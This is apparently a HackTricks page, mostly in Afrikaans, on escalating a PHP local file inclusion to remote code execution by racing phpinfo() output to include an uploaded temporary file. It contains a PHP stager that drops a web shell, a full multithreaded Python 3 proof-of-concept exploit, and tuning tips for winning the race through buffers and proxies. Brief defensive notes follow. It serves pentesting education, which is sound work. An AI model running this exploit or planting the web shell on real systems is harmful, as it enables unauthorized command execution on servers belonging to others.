LFI to RCE via PHPInfo

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Om hierdie tegniek te benut benodig jy al die volgende:

  • ’n bereikbare bladsy wat phpinfo() output vertoon.
  • ’n Local File Inclusion (LFI) primitive wat jy beheer (bv., include/require op gebruikersinvoer).
  • PHP file uploads geaktiveer (file_uploads = On). Enige PHP-skrip sal RFC1867 multipart uploads aanvaar en ’n tydelike lêer vir elke opgelaaide deel skep.
  • Die PHP-worker moet na die gekonfigureerde upload_tmp_dir (of die stelsel se standaard tydelike gids) kan skryf en jou LFI moet daardie pad kan include.

Klassieke beskrywing en oorspronklike PoC:

  • Witpapier: LFI with PHPInfo() Assistance (B. Moore, 2011)
  • Oorspronklike PoC-skripnaam: phpinfolfi.py (sien witpapier en mirrors)

Tutoriaal HTB: https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s

Notas oor die oorspronklike PoC

  • Die phpinfo() output is HTML-gekodeer, dus verskyn die “=>” pyl dikwels as “=>”. As jy ouer skripte hergebruik, maak seker dat hulle na albei enkoderinge soek wanneer hulle die _FILES[tmp_name] waarde ontleed.
  • Jy moet die payload (jou PHP-kode), REQ1 (die versoek na die phpinfo() endpoint insluitend padding), en LFIREQ (die versoek na jou LFI-sink) aanpas. Sommige teikens benodig nie ’n null-byte (%00) terminator nie en moderne PHP-weergawes sal dit nie eerbiedig nie. Pas die LFIREQ ooreenkomstig aan by die kwesbare sink.

Example sed (only if you really use the old Python2 PoC) to match HTML-encoded arrow:

sed -i 's/\[tmp_name\] =>/\[tmp_name\] =>/g' phpinfolfi.py

Teorie

  • Wanneer PHP ’n multipart/form-data POST met ’n file field ontvang, skryf dit die inhoud na ‘n tydelike lêer (upload_tmp_dir of die OS-standaard) en openbaar die pad in $_FILES[’’][‘tmp_name’]. Die lêer word outomaties aan die einde van die request verwyder tensy dit verskuif/hernoem word.
  • Die truuk is om die tydelike naam te vind en dit via jou LFI in te sluit voordat PHP dit skoonmaak. phpinfo() druk $_FILES uit, insluitend tmp_name.
  • Deur request headers/parameters op te pomp (padding) kan jy veroorsaak dat vroeë gedeeltes van phpinfo() se uitvoer na die kliënt geflus word voordat die request klaar is, sodat jy tmp_name kan lees terwyl die tydelike lêer nog bestaan en dan onmiddellik die LFI met daardie pad kan skiet.

Op Windows is die tydelike lêers gewoonlik onder iets soos C:\Windows\Temp\php*.tmp. Op Linux/Unix is dit gewoonlik in /tmp of die gids wat in upload_tmp_dir gekonfigureer is.

Wat om in phpinfo() te verifieer voordat jy die race aangaan

Voordat jy duisende requests stuur, onttrek die waardes wat beslis of die race realisties is:

  • file_uploads: moet On wees.
  • upload_tmp_dir: as dit gestel is, is dit die gids wat jou LFI moet kan insluit. As dit leeg is, verwag die stelsel se standaard tydelike gids.
  • open_basedir: as dit geaktiveer is, moet jou kwesbare include-pad steeds die tydelike gids bereik wat in tmp_name getoon word.
  • output_buffering: 4096 is ’n algemene/standaard grootte en dit is waarom baie PoCs in 4KB-kote lees, maar hierdie waarde kan verskil.
  • zlib.output_compression, output_handler, en enige framework-vlak buffering: dit verminder die kans om tmp_name vroeg genoeg te sien.
  • Server API: nuttig om te besluit hoeveel buffering tussen PHP en jou kan wees (apache2handler is gewoonlik makliker om te redeneer as fpm-fcgi agter ’n reverse proxy).

As die bladsy nie $_FILES wys nie, maak seker jy stuur regtig ’n multipart/form-data request met ’n werklike file part. PHP vul slegs tmp_name vir upload fields wat gepars is.

Aanvalswerkvloei (stap vir stap)

  1. Berei ’n klein PHP payload voor wat vinnig ’n shell persisteer om te voorkom dat jy die race verloor (om ’n lêer te skryf is oor die algemeen vinniger as om op ’n reverse shell te wag):
<?php file_put_contents('/tmp/.p.php', '<?php system($_GET["x"]); ?>');
  1. Stuur ’n groot multipart POST direk na die phpinfo() blad sodat dit ’n temp-lêer skep wat jou payload bevat. Blaas verskeie headers/cookies/params op met ~5–10KB vulsel om vroeë uitset te bevorder. Maak seker die vormveldnaam stem ooreen met wat jy in $_FILES gaan parse.

  2. Terwyl die phpinfo() response nog aan die stroom is, parse die gedeeltelike body om $_FILES[‘’][‘tmp_name’] (HTML-encoded) uit te trek. Sodra jy die volle absolute pad het (bv. /tmp/php3Fz9aB), aktiveer jou LFI om daardie pad te include. As die include() die temp-lêer uitvoer voordat dit verwyder word, loop jou payload en skep /tmp/.p.php.

  3. Gebruik die geskepte lêer: GET /vuln.php?include=/tmp/.p.php&x=id (of waar jou LFI jou toelaat om dit te include) om op ’n betroubare wyse opdragte uit te voer.

Wenke

  • Gebruik verskeie gelyktydige werkers om jou kanse om die race te wen te verhoog.
  • Padding-plek wat gewoonlik help: URL-parameter, Cookie, User-Agent, Accept-Language, Pragma. Stel per teiken af.
  • As die kwesbare sink ’n extensie byvoeg (bv. .php), het jy nie ’n null byte nodig nie; include() sal PHP uitvoer ongeag die temp-lêer se extensie.

Minimale Python 3 PoC (socket-based)

Die onderstaande stukkie fokus op die kritieke dele en is makliker om aan te pas as die ouer Python2-skrip. Pas HOST, PHPSCRIPT (phpinfo endpoint), LFIPATH (pad na die LFI sink), en PAYLOAD aan.

#!/usr/bin/env python3
import re, html, socket, threading

HOST = 'target.local'
PORT = 80
PHPSCRIPT = '/phpinfo.php'
LFIPATH = '/vuln.php?file=%s'  # sprintf-style where %s will be the tmp path
THREADS = 10

PAYLOAD = (
"<?php file_put_contents('/tmp/.p.php', '<?php system($_GET[\\"x\\"]); ?>'); ?>\r\n"
)
BOUND = '---------------------------7dbff1ded0714'
PADDING = 'A' * 6000
REQ1_DATA = (f"{BOUND}\r\n"
f"Content-Disposition: form-data; name=\"f\"; filename=\"a.txt\"\r\n"
f"Content-Type: text/plain\r\n\r\n{PAYLOAD}{BOUND}--\r\n")

REQ1 = (f"POST {PHPSCRIPT}?a={PADDING} HTTP/1.1\r\n"
f"Host: {HOST}\r\nCookie: sid={PADDING}; o={PADDING}\r\n"
f"User-Agent: {PADDING}\r\nAccept-Language: {PADDING}\r\nPragma: {PADDING}\r\n"
f"Content-Type: multipart/form-data; boundary={BOUND}\r\n"
f"Content-Length: {len(REQ1_DATA)}\r\n\r\n{REQ1_DATA}")

LFI = ("GET " + LFIPATH + " HTTP/1.1\r\nHost: %s\r\nConnection: close\r\n\r\n")

pat = re.compile(r"\\[tmp_name\\]\\s*=&gt;\\s*([^\\s<]+)")


def race_once():
s1 = socket.socket()
s2 = socket.socket()
s1.connect((HOST, PORT))
s2.connect((HOST, PORT))
s1.sendall(REQ1.encode())
buf = b''
tmp = None
while True:
chunk = s1.recv(4096)
if not chunk:
break
buf += chunk
m = pat.search(html.unescape(buf.decode(errors='ignore')))
if m:
tmp = m.group(1)
break
ok = False
if tmp:
req = (LFI % tmp).encode() % HOST.encode()
s2.sendall(req)
r = s2.recv(4096)
ok = b'.p.php' in r or b'HTTP/1.1 200' in r
s1.close(); s2.close()
return ok

if __name__ == '__main__':
hit = False
def worker():
nonlocal_hit = False
while not hit and not nonlocal_hit:
nonlocal_hit = race_once()
if nonlocal_hit:
print('[+] Won the race, payload dropped as /tmp/.p.php')
exit(0)
ts = [threading.Thread(target=worker) for _ in range(THREADS)]
[t.start() for t in ts]
[t.join() for t in ts]

Foutopsporing

  • You never see tmp_name: Maak seker jy stuur regtig POST multipart/form-data na phpinfo(). phpinfo() druk $_FILES slegs wanneer ’n upload-veld teenwoordig was.
  • tmp_name appears only at the very end of the response: Dit is gewoonlik ’n buffering-probleem, nie ’n PHP-weergawe probleem nie. Groot output_buffering-waardes, zlib.output_compression, userland output handlers, of reverse-proxy/FastCGI buffering kan die phpinfo() body vertraag totdat die upload-versoek amper klaar is.
  • You only get reliable streaming in a lab, not through the real site: ’n CDN, WAF, of reverse proxy kan die upstream respons buffer. As jy verskeie roetes na dieselfde app het, verkies die mees direkte origin-pad.
  • The classic 4096-byte offset logic misses the leak: Behandel 4096 as ’n beginpunt afgelei van algemene output_buffering-standaarde, nie as ’n universele konstante nie. Parse inkrementeel en stop sodra tmp_name voltooi is.
  • The temp file is included but your shell dies immediately: Gebruik ’n klein stager wat ’n tweede lêer skryf, omdat die geüploade temp-lêer steeds verwyder sal word wanneer die oorspronklike versoek eindig.
  • Output doesn’t flush early: Verhoog padding, voeg meer groot headers by, of stuur meerdere gelyktydige versoeke. Sommige SAPIs/buffers sal nie flush totdat groter drempels bereik word nie; pas dienooreenkomstig aan.
  • LFI path blocked by open_basedir or chroot: Jy moet die LFI na ’n toegelate pad wys of oorskakel na ’n ander LFI2RCE-vektor.
  • Temp directory not /tmp: phpinfo() druk die volle absolute tmp_name-pad; gebruik daardie presiese pad in die LFI.

Praktiese notas vir moderne stacks

  • Hierdie tegniek is steeds reproduceerbaar in moderne lab-omgewings; byvoorbeeld, Vulhub behou ’n demonstrator op PHP 7.2. In die praktyk hang sukses meer af van output buffering en proxying as van ’n phpinfo-spesifieke patchvlak.
  • flush() en implicit_flush beïnvloed net PHP se eie uitsetlaag. Hulle waarborg nie dat ’n FastCGI gateway, reverse proxy, browser, of tussenganger onmiddellik gedeeltelike chunks vrylaat nie.
  • If the target is fpm-fcgi behind Nginx/Apache proxying, dink in lae: PHP buffer, PHP output handlers/compression, FastCGI buffering, dan proxy buffering. Die race werk slegs as genoeg van die phpinfo() respons daardie ketting ontglip voordat die versoek-shutdown die temp-lêer uitvee.

Verdedigende notas

  • Never expose phpinfo() in production. Indien nodig beperk per IP/auth en verwyder dit ná gebruik.
  • Keep file_uploads disabled if not required. Andersins beperk upload_tmp_dir tot ’n pad wat nie deur include() in die toepassing bereik kan word nie en handhaaf streng validasie op enige include/require-paaie.
  • Beskou enige LFI as krities; selfs sonder phpinfo(), bestaan daar ander LFI→RCE-paadjies.

LFI2RCE Via temp file uploads

LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS

LFI2RCE via Nginx temp files

LFI2RCE via Eternal waiting

Verwysings

  • LFI With PHPInfo() Assistance whitepaper (2011) – Packet Storm mirror: https://packetstormsecurity.com/files/download/104825/LFI_With_PHPInfo_Assitance.pdf
  • PHP Manual – POST method uploads: https://www.php.net/manual/en/features.file-upload.post-method.php
  • PHP Manual – Flushing System Buffers: https://www.php.net/manual/en/outcontrol.flushing-system-buffers.php
  • Vulhub – PHP Local File Inclusion RCE with PHPINFO: https://github.com/vulhub/vulhub/blob/master/php/inclusion/README.md

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks